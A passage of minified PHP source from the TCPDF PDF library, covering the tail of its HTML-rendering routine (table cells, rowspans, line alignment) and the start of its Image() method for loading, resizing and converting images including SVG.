";$endlinepos=strlen($pstart);if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart.$pend;foreach($this->xobjects[$this->xobjid]['annotations'] as $pak=>$pac){if($pak>=$pask){$this->xobjects[$this->xobjid]['annotations'][$pak]['x']+=$t_x;$this->xobjects[$this->xobjid]['annotations'][$pak]['y']-=$yshift;}}}else {$this->setPageBuffer($startlinepage,$pstart.$pend);if(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][$pak]['x']+=$t_x;$this->PageAnnots[$this->page][$pak]['y']-=$yshift;}}}}$this->y-=$yshift;}}$pbrk=$this->checkPageBreak($this->lasth);$this->newline=false;$startlinex=$this->x;$startliney=$this->y;if($dom[$dom[$key]['parent']]['value']=='sup'){$startliney-=((0.3*$this->FontSizePt)/$this->k);}elseif($dom[$dom[$key]['parent']]['value']=='sub'){$startliney-=(($this->FontSizePt/0.7)/$this->k);}else {$minstartliney=$startliney;$maxbottomliney=($this->y+$this->getCellHeight($fontsize/$this->k));}$startlinepage=$this->page;if(isset($endlinepos) AND (!$pbrk)){$startlinepos=$endlinepos;}else {if($this->inxobj){$startlinepos=strlen($this->xobjects[$this->xobjid]['outdata']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$startlinepos=$this->footerpos[$this->page];}else {$startlinepos=$this->pagelen[$this->page];}}unset($endlinepos);$plalign=$lalign;if(isset($this->PageAnnots[$this->page])){$pask=count($this->PageAnnots[$this->page]);}else {$pask=0;}if(!($dom[$key]['tag'] AND !$dom[$key]['opening'] AND ($dom[$key]['value']=='table') AND (isset($this->emptypagemrk[$this->page])) AND ($this->emptypagemrk[$this->page]==$this->pagelen[$this->page]))){$this->SetFont($fontname,$fontstyle,$fontsize);if($wfill){$this->SetFillColorArray($this->bgcolor);}}}if(isset($opentagpos)){unset($opentagpos);}if($dom[$key]['tag']){if($dom[$key]['opening']){if(isset($dom[$key]['text-indent']) AND $dom[$key]['block']){$this->textindent=$dom[$key]['text-indent'];$this->newline=true;}if(($dom[$key]['value']=='table') AND isset($dom[$key]['cols']) AND ($dom[$key]['cols']>0)){if($this->rtl){$wtmp=$this->x-$this->lMargin;}else {$wtmp=$this->w-$this->rMargin-$this->x;}if(isset($dom[$key]['attribute']['cellspacing'])){$clsp=$this->getHTMLUnitToUnits($dom[$key]['attribute']['cellspacing'],1,'px');$cellspacing=array('H'=>$clsp,'V'=>$clsp);}elseif(isset($dom[$key]['border-spacing'])){$cellspacing=$dom[$key]['border-spacing'];}else {$cellspacing=array('H'=>0,'V'=>0);}if(isset($dom[$key]['width'])){$table_width=$this->getHTMLUnitToUnits($dom[$key]['width'],$wtmp,'px');}else {$table_width=$wtmp;}$table_width-=(2*$cellspacing['H']);if(!$this->inthead){$this->y+=$cellspacing['V'];}if($this->rtl){$cellspacingx=-$cellspacing['H'];}else {$cellspacingx=$cellspacing['H'];}$table_columns_width=($table_width-($cellspacing['H']*($dom[$key]['cols']-1)));$table_min_column_width=($table_columns_width/$dom[$key]['cols']);$table_colwidths=array_fill(0,$dom[$key]['cols'],$table_min_column_width);}if($dom[$key]['value']=='tr'){$colid=0;}if(($dom[$key]['value']=='td') OR ($dom[$key]['value']=='th')){$trid=$dom[$key]['parent'];$table_el=$dom[$trid]['parent'];if(!isset($dom[$table_el]['cols'])){$dom[$table_el]['cols']=$dom[$trid]['cols'];}$tdborder=0;if(isset($dom[$key]['border']) AND !empty($dom[$key]['border'])){$tdborder=$dom[$key]['border'];}$colspan=intval($dom[$key]['attribute']['colspan']);if($colspan<=0){$colspan=1;}$old_cell_padding=$this->cell_padding;if(isset($dom[($dom[$trid]['parent'])]['attribute']['cellpadding'])){$crclpd=$this->getHTMLUnitToUnits($dom[($dom[$trid]['parent'])]['attribute']['cellpadding'],1,'px');$current_cell_padding=array('L'=>$crclpd,'T'=>$crclpd,'R'=>$crclpd,'B'=>$crclpd);}elseif(isset($dom[($dom[$trid]['parent'])]['padding'])){$current_cell_padding=$dom[($dom[$trid]['parent'])]['padding'];}else {$current_cell_padding=array('L'=>0,'T'=>0,'R'=>0,'B'=>0);}$this->cell_padding=$current_cell_padding;if(isset($dom[$key]['height'])){$cellh=$this->getHTMLUnitToUnits($dom[$key]['height'],0,'px');}else {$cellh=0;}if(isset($dom[$key]['content'])){$cell_content=$dom[$key]['content'];}else {$cell_content='&nbsp;';}$tagtype=$dom[$key]['value'];$parentid=$key;while(($key<$maxel) AND (!(($dom[$key]['tag']) AND (!$dom[$key]['opening']) AND ($dom[$key]['value']==$tagtype) AND ($dom[$key]['parent']==$parentid)))){++$key;}if(!isset($dom[$trid]['startpage'])){$dom[$trid]['startpage']=$this->page;}else {$this->setPage($dom[$trid]['startpage']);}if(!isset($dom[$trid]['startcolumn'])){$dom[$trid]['startcolumn']=$this->current_column;}elseif($this->current_column!=$dom[$trid]['startcolumn']){$tmpx=$this->x;$this->selectColumn($dom[$trid]['startcolumn']);$this->x=$tmpx;}if(!isset($dom[$trid]['starty'])){$dom[$trid]['starty']=$this->y;}else {$this->y=$dom[$trid]['starty'];}if(!isset($dom[$trid]['startx'])){$dom[$trid]['startx']=$this->x;$this->x+=$cellspacingx;}else {$this->x+=($cellspacingx/2);}if(isset($dom[$parentid]['attribute']['rowspan'])){$rowspan=intval($dom[$parentid]['attribute']['rowspan']);}else {$rowspan=1;}if(isset($dom[$table_el]['rowspans'])){$rsk=0;$rskmax=count($dom[$table_el]['rowspans']);while($rsk<$rskmax){$trwsp=$dom[$table_el]['rowspans'][$rsk];$rsstartx=$trwsp['startx'];$rsendx=$trwsp['endx'];if($trwsp['startpage']<$this->page){if(($this->rtl) AND ($this->pagedim[$this->page]['orm']!=$this->pagedim[$trwsp['startpage']]['orm'])){$dl=($this->pagedim[$this->page]['orm']-$this->pagedim[$trwsp['startpage']]['orm']);$rsstartx-=$dl;$rsendx-=$dl;}elseif((!$this->rtl) AND ($this->pagedim[$this->page]['olm']!=$this->pagedim[$trwsp['startpage']]['olm'])){$dl=($this->pagedim[$this->page]['olm']-$this->pagedim[$trwsp['startpage']]['olm']);$rsstartx+=$dl;$rsendx+=$dl;}}if(($trwsp['rowspan']>0) AND ($rsstartx>($this->x-$cellspacing['H']-$current_cell_padding['L']-$this->feps)) AND ($rsstartx<($this->x+$cellspacing['H']+$current_cell_padding['R']+$this->feps)) AND (($trwsp['starty']<($this->y-$this->feps)) OR ($trwsp['startpage']<$this->page) OR ($trwsp['startcolumn']<$this->current_column))){$this->x=$rsendx+$cellspacingx;$colid+=$trwsp['colspan'];if(($trwsp['rowspan']==1) AND (isset($dom[$trid]['endy'])) AND (isset($dom[$trid]['endpage'])) AND (isset($dom[$trid]['endcolumn'])) AND ($trwsp['endpage']==$dom[$trid]['endpage']) AND ($trwsp['endcolumn']==$dom[$trid]['endcolumn'])){$dom[$table_el]['rowspans'][$rsk]['endy']=max($dom[$trid]['endy'],$trwsp['endy']);$dom[$trid]['endy']=$dom[$table_el]['rowspans'][$rsk]['endy'];}$rsk=0;}else {++$rsk;}}}if(isset($dom[$parentid]['width'])){$cellw=$this->getHTMLUnitToUnits($dom[$parentid]['width'],$table_columns_width,'px');$tmpcw=($cellw/$colspan);for($i=0;$i<$colspan;++$i){$table_colwidths[($colid+$i)]=$tmpcw;}}else {$cellw=0;for($i=0;$i<$colspan;++$i){$cellw+=(isset($table_colwidths[($colid+$i)])?$table_colwidths[($colid+$i)]:0);}}$cellw+=(($colspan-1)*$cellspacing['H']);$colid+=$colspan;if($rowspan>1){$trsid=array_push($dom[$table_el]['rowspans'],array('trid'=>$trid,'rowspan'=>$rowspan,'mrowspan'=>$rowspan,'colspan'=>$colspan,'startpage'=>$this->page,'startcolumn'=>$this->current_column,'startx'=>$this->x,'starty'=>$this->y));}$cellid=array_push($dom[$trid]['cellpos'],array('startx'=>$this->x));if($rowspan>1){$dom[$trid]['cellpos'][($cellid-1)]['rowspanid']=($trsid-1);}if(isset($dom[$parentid]['bgcolor']) AND ($dom[$parentid]['bgcolor']!==false)){$dom[$trid]['cellpos'][($cellid-1)]['bgcolor']=$dom[$parentid]['bgcolor'];}if(isset($tdborder) AND !empty($tdborder)){$dom[$trid]['cellpos'][($cellid-1)]['border']=$tdborder;}$prevLastH=$this->lasth;if($this->rtl){$this->colxshift['x']=$this->w-$this->x-$this->rMargin;}else {$this->colxshift['x']=$this->x-$this->lMargin;}$this->colxshift['s']=$cellspacing;$this->colxshift['p']=$current_cell_padding;$this->MultiCell($cellw,$cellh,$cell_content,false,$lalign,false,2,'','',true,0,true,true,0,'T',false);$this->colxshift=array('x'=>0,'s'=>array('H'=>0,'V'=>0),'p'=>array('L'=>0,'T'=>0,'R'=>0,'B'=>0));$this->lasth=$prevLastH;$this->cell_padding=$old_cell_padding;$dom[$trid]['cellpos'][($cellid-1)]['endx']=$this->x;if($rowspan<=1){if(isset($dom[$trid]['endy'])){if(($this->page==$dom[$trid]['endpage']) AND ($this->current_column==$dom[$trid]['endcolumn'])){$dom[$trid]['endy']=max($this->y,$dom[$trid]['endy']);}elseif(($this->page>$dom[$trid]['endpage']) OR ($this->current_column>$dom[$trid]['endcolumn'])){$dom[$trid]['endy']=$this->y;}}else {$dom[$trid]['endy']=$this->y;}if(isset($dom[$trid]['endpage'])){$dom[$trid]['endpage']=max($this->page,$dom[$trid]['endpage']);}else {$dom[$trid]['endpage']=$this->page;}if(isset($dom[$trid]['endcolumn'])){$dom[$trid]['endcolumn']=max($this->current_column,$dom[$trid]['endcolumn']);}else {$dom[$trid]['endcolumn']=$this->current_column;}}else {$dom[$table_el]['rowspans'][($trsid-1)]['endx']=$this->x;$dom[$table_el]['rowspans'][($trsid-1)]['endy']=$this->y;$dom[$table_el]['rowspans'][($trsid-1)]['endpage']=$this->page;$dom[$table_el]['rowspans'][($trsid-1)]['endcolumn']=$this->current_column;}if(isset($dom[$table_el]['rowspans'])){foreach($dom[$table_el]['rowspans'] as $k=>$trwsp){if($trwsp['rowspan']>0){if(isset($dom[$trid]['endpage'])){if(($trwsp['endpage']==$dom[$trid]['endpage']) AND ($trwsp['endcolumn']==$dom[$trid]['endcolumn'])){$dom[$table_el]['rowspans'][$k]['endy']=max($dom[$trid]['endy'],$trwsp['endy']);}elseif(($trwsp['endpage']<$dom[$trid]['endpage']) OR ($trwsp['endcolumn']<$dom[$trid]['endcolumn'])){$dom[$table_el]['rowspans'][$k]['endy']=$dom[$trid]['endy'];$dom[$table_el]['rowspans'][$k]['endpage']=$dom[$trid]['endpage'];$dom[$table_el]['rowspans'][$k]['endcolumn']=$dom[$trid]['endcolumn'];}else {$dom[$trid]['endy']=$this->pagedim[$dom[$trid]['endpage']]['hk']-$this->pagedim[$dom[$trid]['endpage']]['bm'];}}}}}$this->x+=($cellspacingx/2);}else {if(!isset($opentagpos)){if($this->inxobj){$opentagpos=strlen($this->xobjects[$this->xobjid]['outdata']);}elseif(!$this->InFooter){if(isset($this->footerlen[$this->page])){$this->footerpos[$this->page]=$this->pagelen[$this->page]-$this->footerlen[$this->page];}else {$this->footerpos[$this->page]=$this->pagelen[$this->page];}$opentagpos=$this->footerpos[$this->page];}}$dom=$this->openHTMLTagHandler($dom,$key,$cell);}}else {$prev_numpages=$this->numpages;$old_bordermrk=$this->bordermrk[$this->page];$dom=$this->closeHTMLTagHandler($dom,$key,$cell,$maxbottomliney);if($this->bordermrk[$this->page]>$old_bordermrk){$startlinepos+=($this->bordermrk[$this->page]-$old_bordermrk);}if($prev_numpages>$this->numpages){$startlinepage=$this->page;}}}elseif(strlen($dom[$key]['value'])>0){if(!TCPDF_STATIC::empty_string($this->lispacer) AND ($this->lispacer!='^')){$this->SetFont($pfontname,$pfontstyle,$pfontsize);$this->resetLastH();$minstartliney=$this->y;$maxbottomliney=($startliney+$this->getCellHeight($this->FontSize));if(is_numeric($pfontsize) AND ($pfontsize>0)){$this->putHtmlListBullet($this->listnum,$this->lispacer,$pfontsize);}$this->SetFont($curfontname,$curfontstyle,$curfontsize);$this->resetLastH();if(is_numeric($pfontsize) AND ($pfontsize>0) AND is_numeric($curfontsize) AND ($curfontsize>0) AND ($pfontsize!=$curfontsize)){$pfontascent=$this->getFontAscent($pfontname,$pfontstyle,$pfontsize);$pfontdescent=$this->getFontDescent($pfontname,$pfontstyle,$pfontsize);$this->y+=($this->getCellHeight(($pfontsize-$curfontsize)/$this->k)+$pfontascent-$curfontascent-$pfontdescent+$curfontdescent)/2;$minstartliney=min($this->y,$minstartliney);$maxbottomliney=max(($this->y+$this->getCellHeight($pfontsize/$this->k)),$maxbottomliney);}}$this->htmlvspace=0;if((!$this->premode) AND $this->isRTLTextDir()){$lsp='';$rsp='';if(preg_match('/^('.$this->re_space['p'].'+)/'.$this->re_space['m'],$dom[$key]['value'],$matches)){$lsp=$matches[1];}if(preg_match('/('.$this->re_space['p'].'+)$/'.$this->re_space['m'],$dom[$key]['value'],$matches)){$rsp=$matches[1];}$dom[$key]['value']=$rsp.$this->stringTrim($dom[$key]['value']).$lsp;}if($newline){if(!$this->premode){$prelen=strlen($dom[$key]['value']);if($this->isRTLTextDir()){$dom[$key]['value']=$this->stringRightTrim($dom[$key]['value']);}else {$dom[$key]['value']=$this->stringLeftTrim($dom[$key]['value']);}$postlen=strlen($dom[$key]['value']);if(($postlen==0) AND ($prelen>0)){$dom[$key]['trimmed_space']=true;}}$newline=false;$firstblock=true;}else {$firstblock=false;$dom[$key]['value']=preg_replace('/^'.$this->re_space['p'].'+$/'.$this->re_space['m'],chr(32),$dom[$key]['value']);}$strrest='';if($this->rtl){$this->x-=$this->textindent;}else {$this->x+=$this->textindent;}if(!isset($dom[$key]['trimmed_space']) OR !$dom[$key]['trimmed_space']){$strlinelen=$this->GetStringWidth($dom[$key]['value']);if(!empty($this->HREF) AND (isset($this->HREF['url']))){$hrefcolor='';if(isset($dom[($dom[$key]['parent'])]['fgcolor']) AND ($dom[($dom[$key]['parent'])]['fgcolor']!==false)){$hrefcolor=$dom[($dom[$key]['parent'])]['fgcolor'];}$hrefstyle=-1;if(isset($dom[($dom[$key]['parent'])]['fontstyle']) AND ($dom[($dom[$key]['parent'])]['fontstyle']!==false)){$hrefstyle=$dom[($dom[$key]['parent'])]['fontstyle'];}$strrest=$this->addHtmlLink($this->HREF['url'],$dom[$key]['value'],$wfill,true,$hrefcolor,$hrefstyle,true);}else {$wadj=0;if($this->rtl){$cwa=($this->x-$this->lMargin);}else {$cwa=($this->w-$this->rMargin-$this->x);}if(($strlinelen<$cwa) AND (isset($dom[($key+1)])) AND ($dom[($key+1)]['tag']) AND (!$dom[($key+1)]['block'])){$nkey=($key+1);$write_block=true;$same_textdir=true;$tmp_fontname=$this->FontFamily;$tmp_fontstyle=$this->FontStyle;$tmp_fontsize=$this->FontSizePt;while($write_block AND isset($dom[$nkey])){if($dom[$nkey]['tag']){if($dom[$nkey]['block']){$write_block=false;}$tmp_fontname=isset($dom[$nkey]['fontname'])?$dom[$nkey]['fontname']:$this->FontFamily;$tmp_fontstyle=isset($dom[$nkey]['fontstyle'])?$dom[$nkey]['fontstyle']:$this->FontStyle;$tmp_fontsize=isset($dom[$nkey]['fontsize'])?$dom[$nkey]['fontsize']:$this->FontSizePt;$same_textdir=($dom[$nkey]['dir']==$dom[$key]['dir']);}else {$nextstr=TCPDF_STATIC::pregSplit('/'.$this->re_space['p'].'+/',$this->re_space['m'],$dom[$nkey]['value']);if(isset($nextstr[0]) AND $same_textdir){$wadj+=$this->GetStringWidth($nextstr[0],$tmp_fontname,$tmp_fontstyle,$tmp_fontsize);if(isset($nextstr[1])){$write_block=false;}}}++$nkey;}}if(($wadj>0) AND (($strlinelen+$wadj)>=$cwa)){$wadj=0;$nextstr=TCPDF_STATIC::pregSplit('/'.$this->re_space['p'].'/',$this->re_space['m'],$dom[$key]['value']);$numblks=count($nextstr);if($numblks>1){$wadj=($cwa-$strlinelen+$this->GetStringWidth($nextstr[($numblks-1)]));}else {$wadj=$this->GetStringWidth($nextstr[0]);}}if(($wadj>0) AND (($this->rtl AND ($this->tmprtl==='L')) OR (!$this->rtl AND ($this->tmprtl==='R')))){$reverse_dir=true;$this->rtl=!$this->rtl;$revshift=($strlinelen+$wadj+0.000001);if($this->rtl){$this->x+=$revshift;}else {$this->x-=$revshift;}$xws=$this->x;}$strrest=$this->Write($this->lasth,$dom[$key]['value'],'',$wfill,'',false,0,true,$firstblock,0,$wadj);if($reverse_dir AND ($wadj==0)){$this->x=$xws;$this->rtl=!$this->rtl;$reverse_dir=false;}}}$this->textindent=0;if(strlen($strrest)>0){$this->newline=true;if($strrest==$dom[$key]['value']){++$loop;}else {$loop=0;}$dom[$key]['value']=$strrest;if($cell){if($this->rtl){$this->x-=$this->cell_padding['R'];}else {$this->x+=$this->cell_padding['L'];}}if($loop<3){--$key;}}else {$loop=0;if($this->font_spacing>0){if($this->rtl){$this->x-=$this->font_spacing;}else {$this->x+=$this->font_spacing;}}}}++$key;if(isset($dom[$key]['tag']) AND $dom[$key]['tag'] AND (!isset($dom[$key]['opening']) OR !$dom[$key]['opening']) AND isset($dom[($dom[$key]['parent'])]['attribute']['nobr']) AND ($dom[($dom[$key]['parent'])]['attribute']['nobr']=='true')){if((!$undo) AND (($this->y<$this->start_transaction_y) OR (($dom[$key]['value']=='tr') AND ($dom[($dom[$key]['parent'])]['endy']<$this->start_transaction_y)))){$this->rollbackTransaction(true);foreach($this_method_vars as $vkey=>$vval){$$vkey=$vval;}if(!empty($dom[$key]['thead'])){$this->inthead=true;}$pre_y=$this->y;if((!$this->checkPageBreak($this->PageBreakTrigger+1)) AND ($this->y<$pre_y)){$startliney=$this->y;}$undo=true;}else {$undo=false;}}}if(isset($startlinex)){$yshift=($minstartliney-$startliney);if(($yshift>0) OR ($this->page>$startlinepage)){$yshift=0;}$t_x=0;$linew=abs($this->endlinex-$startlinex);if($this->inxobj){$pstart=substr($this->xobjects[$this->xobjid]['outdata'],0,$startlinepos);if(isset($opentagpos)){$midpos=$opentagpos;}else {$midpos=0;}if($midpos>0){$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos,($midpos-$startlinepos));$pend=substr($this->xobjects[$this->xobjid]['outdata'],$midpos);}else {$pmid=substr($this->xobjects[$this->xobjid]['outdata'],$startlinepos);$pend='';}}else {$pstart=substr($this->getPageBuffer($startlinepage),0,$startlinepos);if(isset($opentagpos) AND isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=min($opentagpos,$this->footerpos[$startlinepage]);}elseif(isset($opentagpos)){$midpos=$opentagpos;}elseif(isset($this->footerlen[$startlinepage]) AND (!$this->InFooter)){$this->footerpos[$startlinepage]=$this->pagelen[$startlinepage]-$this->footerlen[$startlinepage];$midpos=$this->footerpos[$startlinepage];}else {$midpos=0;}if($midpos>0){$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos,($midpos-$startlinepos));$pend=substr($this->getPageBuffer($startlinepage),$midpos);}else {$pmid=substr($this->getPageBuffer($startlinepage),$startlinepos);$pend='';}}if((isset($plalign) AND ((($plalign=='C') OR (($plalign=='R') AND (!$this->rtl)) OR (($plalign=='L') AND ($this->rtl)))))){$tw=$w;if($this->lMargin!=$prevlMargin){$tw+=($prevlMargin-$this->lMargin);}if($this->rMargin!=$prevrMargin){$tw+=($prevrMargin-$this->rMargin);}$one_space_width=$this->GetStringWidth(chr(32));$no=0;if($this->isRTLTextDir()){$pos1=TCPDF_STATIC::revstrpos($pmid,'[(');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(0).chr(32)));$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,'[('.chr(32)));$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1+2)).substr($pmid,($pos1+2+$spacelen));if(substr($pmid,$pos1,4)=='[()]'){$linew-=$one_space_width;}elseif($pos1==strpos($pmid,'[(')){$no=1;}}}}else {$pos1=TCPDF_STATIC::revstrpos($pmid,')]');if($pos1>0){$pos1=intval($pos1);if($this->isUnicodeFont()){$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(0).chr(32).')]'))+2;$spacelen=2;}else {$pos2=intval(TCPDF_STATIC::revstrpos($pmid,chr(32).')]'))+1;$spacelen=1;}if($pos1==$pos2){$pmid=substr($pmid,0,($pos1-$spacelen)).substr($pmid,$pos1);$linew-=$one_space_width;}}}$mdiff=($tw-$linew);if($plalign=='C'){if($this->rtl){$t_x=-($mdiff/2);}else {$t_x=($mdiff/2);}}elseif($plalign=='R'){$t_x=$mdiff;}elseif($plalign=='L'){$t_x=-$mdiff;}}if(($t_x!=0) OR ($yshift<0)){$trx=sprintf('1 0 0 1 %F %F cm',($t_x*$this->k),($yshift*$this->k));$pstart.="
q
".$trx."
".$pmid."
Q
";$endlinepos=strlen($pstart);if($this->inxobj){$this->xobjects[$this->xobjid]['outdata']=$pstart.$pend;foreach($this->xobjects[$this->xobjid]['annotations'] as $pak=>$pac){if($pak>=$pask){$this->xobjects[$this->xobjid]['annotations'][$pak]['x']+=$t_x;$this->xobjects[$this->xobjid]['annotations'][$pak]['y']-=$yshift;}}}else {$this->setPageBuffer($startlinepage,$pstart.$pend);if(isset($this->PageAnnots[$this->page])){foreach($this->PageAnnots[$this->page] as $pak=>$pac){if($pak>=$pask){$this->PageAnnots[$this->page][$pak]['x']+=$t_x;$this->PageAnnots[$this->page][$pak]['y']-=$yshift;}}}}$this->y-=$yshift;$yshift=0;}}$this->setGraphicVars($gvars);if($this->num_columns>1){$this->selectColumn();}elseif($this->page>$prevPage){$this->lMargin=$this->pagedim[$this->page]['olm'];$this->rMargin=$this->pagedim[$this->page]['orm'];}$this->cell_height_ratio=$prev_cell_height_ratio;$this->listnum=$prev_listnum;$this->listordered=$prev_listordered;$this->listcount=$prev_listcount;$this->lispacer=$prev_lispacer;if($ln AND (!($cell AND ($dom[$key-1]['value']=='table')))){$this->Ln($this->lasth);if(($this->y<$maxbottomliney) AND ($startlinepage==$this->page)){$this->y=$maxbottomliney;}}unset($dom);} function Image($file,$x='',$y='',$w=0,$h=0,$type='',$link='',$align='',$resize=false,$dpi=300,$palign='',$ismask=false,$imgmask=false,$border=0,$fitbox=false,$hidden=false,$fitonpage=false,$alt=false,$altimgs=array()){if($this->state!=2){return;}if(strcmp($x,'')===0){$x=$this->x;}if(strcmp($y,'')===0){$y=$this->y;}list($x,$y)=$this->checkPageRegions($h,$x,$y);$exurl='';$imsize=FALSE;if($file[0]==='@'){$imgdata=substr($file,1);}else {if($file[0]==='*'){$file=substr($file,1);$exurl=$file;}if(!@file_exists($file)){$tfile=str_replace(' ','%20',$file);if(@file_exists($tfile)){$file=$tfile;}}if(($imsize=@getimagesize($file))===FALSE){if(in_array($file,$this->imagekeys)){$info=$this->getImageBuffer($file);$imsize=array($info['w'],$info['h']);}elseif(strpos($file,'__tcpdf_'.$this->file_id.'_img')===FALSE){$imgdata=TCPDF_STATIC::fileGetContents($file);}}}if(!empty($imgdata)){$original_file=$file;$file=TCPDF_STATIC::getObjFilename('img',$this->file_id);$fp=TCPDF_STATIC::fopenLocal($file,'w');if(!$fp){$this->Error('Unable to write file: '.$file);}fwrite($fp,$imgdata);fclose($fp);unset($imgdata);$imsize=@getimagesize($file);if($imsize===FALSE){unlink($file);$file=$original_file;}}if($imsize===FALSE){if(($w>0) AND ($h>0)){$pw=$this->getHTMLUnitToUnits($w,0,$this->pdfunit,true)*$this->imgscale*$this->k;$ph=$this->getHTMLUnitToUnits($h,0,$this->pdfunit,true)*$this->imgscale*$this->k;$imsize=array($pw,$ph);}else {$this->Error('[Image] Unable to get the size of the image: '.$file);}}$filehash=md5($file);list($pixw,$pixh)=$imsize;if(($w<=0) AND ($h<=0)){$w=$this->pixelsToUnits($pixw);$h=$this->pixelsToUnits($pixh);}elseif($w<=0){$w=$h*$pixw/$pixh;}elseif($h<=0){$h=$w*$pixh/$pixw;}elseif(($fitbox!==false) AND ($w>0) AND ($h>0)){if(strlen($fitbox)!==2){$fitbox='--';}if((($w*$pixh)/($h*$pixw))<1){$oldh=$h;$h=$w*$pixh/$pixw;$hdiff=($oldh-$h);switch(strtoupper($fitbox[1])){case 'T':{break;}case 'M':{$y+=($hdiff/2);break;}case 'B':{$y+=$hdiff;break;}}}else {$oldw=$w;$w=$h*$pixw/$pixh;$wdiff=($oldw-$w);switch(strtoupper($fitbox[0])){case 'L':{if($this->rtl){$x-=$wdiff;}break;}case 'C':{if($this->rtl){$x-=($wdiff/2);}else {$x+=($wdiff/2);}break;}case 'R':{if(!$this->rtl){$x+=$wdiff;}break;}}}}list($w,$h,$x,$y)=$this->fitBlock($w,$h,$x,$y,$fitonpage);$neww=round($w*$this->k*$dpi/$this->dpi);$newh=round($h*$this->k*$dpi/$this->dpi);$newsize=($neww*$newh);$pixsize=($pixw*$pixh);if(intval($resize)==2){$resize=true;}elseif($newsize>=$pixsize){$resize=false;}$newimage=true;if(in_array($file,$this->imagekeys)){$newimage=false;$info=$this->getImageBuffer($file);if(strpos($file,'__tcpdf_'.$this->file_id.'_imgmask_')===FALSE){$oldsize=($info['w']*$info['h']);if((($oldsize<$newsize) AND ($resize)) OR (($oldsize<$pixsize) AND (!$resize))){$newimage=true;}}}elseif(($ismask===false) AND ($imgmask===false) AND (strpos($file,'__tcpdf_'.$this->file_id.'_imgmask_')===FALSE)){$tempfile_plain=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_plain_'.$filehash;$tempfile_alpha=K_PATH_CACHE.'__tcpdf_'.$this->file_id.'_imgmask_alpha_'.$filehash;if(in_array($tempfile_plain,$this->imagekeys)){$info=$this->getImageBuffer($tempfile_plain);$oldsize=($info['w']*$info['h']);if((($oldsize<$newsize) AND ($resize)) OR (($oldsize<$pixsize) AND (!$resize))){$newimage=true;}else {$newimage=false;$imgmask=$this->Image($tempfile_alpha,$x,$y,$w,$h,'PNG','','',$resize,$dpi,'',true,false);return $this->Image($tempfile_plain,$x,$y,$w,$h,$type,$link,$align,$resize,$dpi,$palign,false,$imgmask);}}}if($newimage){$type=strtolower($type);if($type==''){$type=TCPDF_IMAGES::getImageFileType($file,$imsize);}elseif($type=='jpg'){$type='jpeg';}$mqr=TCPDF_STATIC::get_mqr();TCPDF_STATIC::set_mqr(false);$mtd='_parse'.$type;$gdfunction='imagecreatefrom'.$type;$info=false;if((method_exists('TCPDF_IMAGES',$mtd)) AND (!($resize AND (function_exists($gdfunction) OR extension_loaded('imagick'))))){$info=TCPDF_IMAGES::$mtd($file);if(($ismask===false) AND ($imgmask===false) AND (strpos($file,'__tcpdf_'.$this->file_id.'_imgmask_')===FALSE) AND (($info==='pngalpha') OR (isset($info['trns']) AND !empty($info['trns'])))){return $this->ImagePngAlpha($file,$x,$y,$pixw,$pixh,$w,$h,'PNG',$link,$align,$resize,$dpi,$palign,$filehash);}}if(($info===false) AND function_exists($gdfunction)){try{$img=$gdfunction($file);if($img!==false){if($resize){$imgr=imagecreatetruecolor($neww,$newh);if(($type=='gif') OR ($type=='png')){$imgr=TCPDF_IMAGES::setGDImageTransparency($imgr,$img);}imagecopyresampled($imgr,$img,0,0,0,0,$neww,$newh,$pixw,$pixh);$img=$imgr;}if(($type=='gif') OR ($type=='png')){$info=TCPDF_IMAGES::_toPNG($img,TCPDF_STATIC::getObjFilename('img',$this->file_id));}else {$info=TCPDF_IMAGES::_toJPEG($img,$this->jpeg_quality,TCPDF_STATIC::getObjFilename('img',$this->file_id));}}}catch(Exception$e){$info=false;}}if(($info===false) AND extension_loaded('imagick')){try{$img=new Imagick();if($type=='svg'){if($file[0]==='@'){$svgimg=substr($file,1);}else {$svgimg=TCPDF_STATIC::fileGetContents($file);}if($svgimg!==FALSE){$regs=array();if(preg_match('/<svg([^\>]*)>/si',$svgimg,$regs)){$svgtag=$regs[1];$tmp=array();if(preg_match('/[\s]+width[\s]*=[\s]*"([^"]*)"/si',$svgtag,$tmp)){$ow=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);$owu=sprintf('%F',($ow*$dpi/72)).$this->pdfunit;$svgtag=preg_replace('/[\s]+width[\s]*=[\s]*"[^"]*"/si',' width="'.$owu.'"',$svgtag,1);}else {$ow=$w;}$tmp=array();if(preg_match('/[\s]+height[\s]*=[\s]*"([^"]*)"/si',$svgtag,$tmp)){$oh=$this->getHTMLUnitToUnits($tmp[1],1,$this->svgunit,false);$ohu=sprintf('%F',($oh*$dpi/72)).$this->pdfunit;$svgtag=preg_replace('/[\s]+height[\s]*=[\s]*"[^"]*"/si',' height="'.$ohu.'"',$svgtag,1);}else {$oh=$h;}$tmp=array();if(!preg_match('/[\s]+viewBox[\s]*=[\s]*"[\s]*([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]+([0-9\.]+)[\s]*"/si',$svgtag,$tmp)){$vbw=($ow*$this->imgscale*$this->k);$vbh=($oh*$this->imgscale*$this->k);$vbox=sprintf(' viewBox="0 0 %F %F" ',$vbw,$vbh);$svgtag=$vbox.$svgtag;}$svgimg=preg_replace('/<svg([^\>]*)>/si','<svg'.$svgtag.'>',$svgimg,1);}$img->readImageBlob($svgimg);}}else 